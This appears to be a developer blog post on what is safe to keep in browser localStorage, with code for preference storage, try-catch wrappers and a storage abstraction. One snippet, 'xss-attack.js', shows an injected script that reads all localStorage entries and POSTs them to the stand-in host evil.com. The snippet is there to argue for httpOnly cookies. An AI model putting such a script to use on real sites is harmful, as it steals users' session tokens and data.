Skip to content

What is Safe to Store in localStorage? Best Practices Guide

I stored my JWT token in localStorage. Then I got hit by an XSS attack. The attacker grabbed my token and hijacked my session. That’s when I realized I had been using localStorage all wrong.

localStorage is convenient. You just call localStorage.setItem() and your data persists across browser sessions. But convenience doesn’t mean safety. Let me share what I learned about what actually belongs in localStorage and what should never go near it.

What localStorage Actually Is

localStorage is a key-value store in the browser. It’s part of the Web Storage API, alongside sessionStorage. The data persists even after the browser closes.

basic-usage.js
// Simple key-value storage
localStorage.setItem('theme', 'dark');
const theme = localStorage.getItem('theme'); // 'dark'
// Objects need to be stringified
const userPrefs = { fontSize: 16, sidebar: 'collapsed' };
localStorage.setItem('preferences', JSON.stringify(userPrefs));
// Always parse when retrieving
const prefs = JSON.parse(localStorage.getItem('preferences'));

The API is simple. Too simple, actually. It lures you into storing everything there.

The Security Problem

Here’s the issue: localStorage has no access control. Any JavaScript running on your page can read it.

If an attacker injects malicious script through XSS (Cross-Site Scripting), they can exfiltrate everything in your localStorage.

xss-attack.js
// An attacker could run this if your site has an XSS vulnerability
const stolen = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
stolen[key] = localStorage.getItem(key);
}
// Send to attacker's server
fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(stolen) });

This is why I stopped storing authentication tokens in localStorage. One XSS vulnerability and all your users’ tokens are compromised.

What Belongs in localStorage

After getting burned, I started thinking carefully about what actually makes sense to store. Here’s what I use localStorage for now:

UI Preferences

Theme settings, sidebar state, font sizes - anything that improves user experience but wouldn’t matter if lost.

ui-preferences.js
// Safe: UI preferences that enhance UX but aren't critical
const savePreferences = (prefs) => {
try {
localStorage.setItem('ui-preferences', JSON.stringify({
theme: prefs.theme || 'light',
sidebarCollapsed: prefs.sidebarCollapsed || false,
fontSize: prefs.fontSize || 14,
language: prefs.language || 'en'
}));
} catch (e) {
// localStorage might be full or disabled
console.warn('Could not save preferences:', e);
}
};

Non-Sensitive Application State

Filter selections, sort preferences, draft form data that doesn’t contain personal information.

app-state.js
// Safe: remembering table filters for next visit
const saveTableState = (filters, sortBy) => {
try {
localStorage.setItem('table-state', JSON.stringify({
filters: filters, // e.g., { status: 'active', category: 'tech' }
sortBy: sortBy, // e.g., { column: 'date', direction: 'desc' }
savedAt: Date.now()
}));
} catch (e) {
console.warn('Could not save table state:', e);
}
};

The key principle: if this data disappeared, the user would have a slightly worse experience, but their account wouldn’t be compromised.

What Should NEVER Go in localStorage

I learned this the hard way. Never store these:

Authentication Tokens

JWTs, session IDs, API keys - these belong in httpOnly cookies.

wrong-auth-storage.js
// WRONG: Never do this
localStorage.setItem('auth-token', jwtToken);
localStorage.setItem('refresh-token', refreshToken);
// RIGHT: Let the server set httpOnly cookies
// The browser automatically includes them in requests

httpOnly cookies can’t be accessed by JavaScript, so XSS attacks can’t steal them.

Personal Identifiable Information (PII)

Email addresses, phone numbers, addresses, credit card numbers. This should be obvious, but I’ve seen it in production code.

pii-storage.js
// WRONG: Never store PII
localStorage.setItem('user-email', '[email protected]');
localStorage.setItem('user-phone', '+1-555-0123');
// Even partial PII is dangerous
localStorage.setItem('last-4-ssn', '1234');

Large Data Objects

localStorage has a quota (usually 5-10MB). But even before you hit the limit, storing large objects is a bad idea.

large-data.js
// WRONG: Don't do this
const hugeApiResponse = await fetch('/api/products').then(r => r.json());
localStorage.setItem('products-cache', JSON.stringify(hugeApiResponse));
// WRONG: Definitely don't do this with images
const imageBase64 = await convertImageToBase64(imageFile);
localStorage.setItem('cached-image', imageBase64); // Could be megabytes

For large data, use IndexedDB. It handles binary data better and has a larger quota.

A Decision Framework

When I’m deciding whether to use localStorage, I run through this checklist:

decision-checklist.txt
1. Is it sensitive? (auth tokens, PII, financial data)
→ Use httpOnly cookies or server-side storage
2. Is it large? (more than a few KB)
→ Use IndexedDB
3. Is it temporary session data?
→ Use sessionStorage (cleared when tab closes)
4. Is it non-sensitive UI state?
→ Use localStorage (with try-catch)

Always Wrap in Try-Catch

localStorage can throw errors. The user might have disabled it, or it might be full.

safe-localstorage.js
const safeLocalStorage = {
get: (key) => {
try {
const item = localStorage.getItem(key);
return item ? JSON.parse(item) : null;
} catch (e) {
console.warn(`Failed to get ${key} from localStorage:`, e);
return null;
}
},
set: (key, value) => {
try {
localStorage.setItem(key, JSON.stringify(value));
return true;
} catch (e) {
console.warn(`Failed to set ${key} in localStorage:`, e);
return false;
}
},
remove: (key) => {
try {
localStorage.removeItem(key);
return true;
} catch (e) {
console.warn(`Failed to remove ${key} from localStorage:`, e);
return false;
}
}
};

This way, if localStorage fails, your app keeps working with sensible defaults.

Comparison with Other Storage Options

I put together this comparison to help decide which storage to use:

storage-comparison.txt
| Storage | Capacity | Persistence | Security | Use Case |
|---------------|-----------|---------------|-------------------|----------------------|
| localStorage | ~5-10 MB | Persists | Vulnerable to XSS | UI preferences |
| sessionStorage| ~5-10 MB | Tab/session | Vulnerable to XSS | Temporary state |
| IndexedDB | ~50+ MB | Persists | Vulnerable to XSS | Large datasets |
| Cookies | ~4 KB | Configurable | httpOnly option | Auth tokens |

Real Example: Theme Persistence

Here’s a complete example of using localStorage correctly for theme preference:

theme-manager.js
const ThemeManager = {
THEME_KEY: 'app-theme',
getTheme() {
try {
const stored = localStorage.getItem(this.THEME_KEY);
if (stored) {
return stored;
}
} catch (e) {
// localStorage unavailable, use system preference
}
// Fall back to system preference
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
return 'dark';
}
return 'light';
},
setTheme(theme) {
try {
localStorage.setItem(this.THEME_KEY, theme);
} catch (e) {
// Storage failed, but theme is already applied
console.warn('Could not persist theme preference');
}
document.documentElement.setAttribute('data-theme', theme);
},
init() {
const theme = this.getTheme();
document.documentElement.setAttribute('data-theme', theme);
}
};
// Initialize on page load
ThemeManager.init();

If localStorage fails, the theme still works for the current session. The user just needs to set it again next time.

What I Changed in My Projects

After learning these lessons the hard way, I went through my codebase and made these changes:

  1. Moved all auth tokens to httpOnly cookies set by the server
  2. Removed PII from localStorage (moved to server-side session)
  3. Added try-catch wrappers around all localStorage access
  4. Created a storage abstraction layer that gracefully degrades
storage-abstraction.js
class StorageService {
constructor() {
this.isAvailable = this.checkAvailability();
}
checkAvailability() {
try {
const test = '__storage_test__';
localStorage.setItem(test, test);
localStorage.removeItem(test);
return true;
} catch (e) {
return false;
}
}
get(key, defaultValue = null) {
if (!this.isAvailable) return defaultValue;
try {
const item = localStorage.getItem(key);
return item ? JSON.parse(item) : defaultValue;
} catch (e) {
return defaultValue;
}
}
set(key, value) {
if (!this.isAvailable) return false;
try {
localStorage.setItem(key, JSON.stringify(value));
return true;
} catch (e) {
return false;
}
}
}
export const storage = new StorageService();

Now I use storage.get() and storage.set() everywhere. If localStorage isn’t available, everything still works with default values.

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments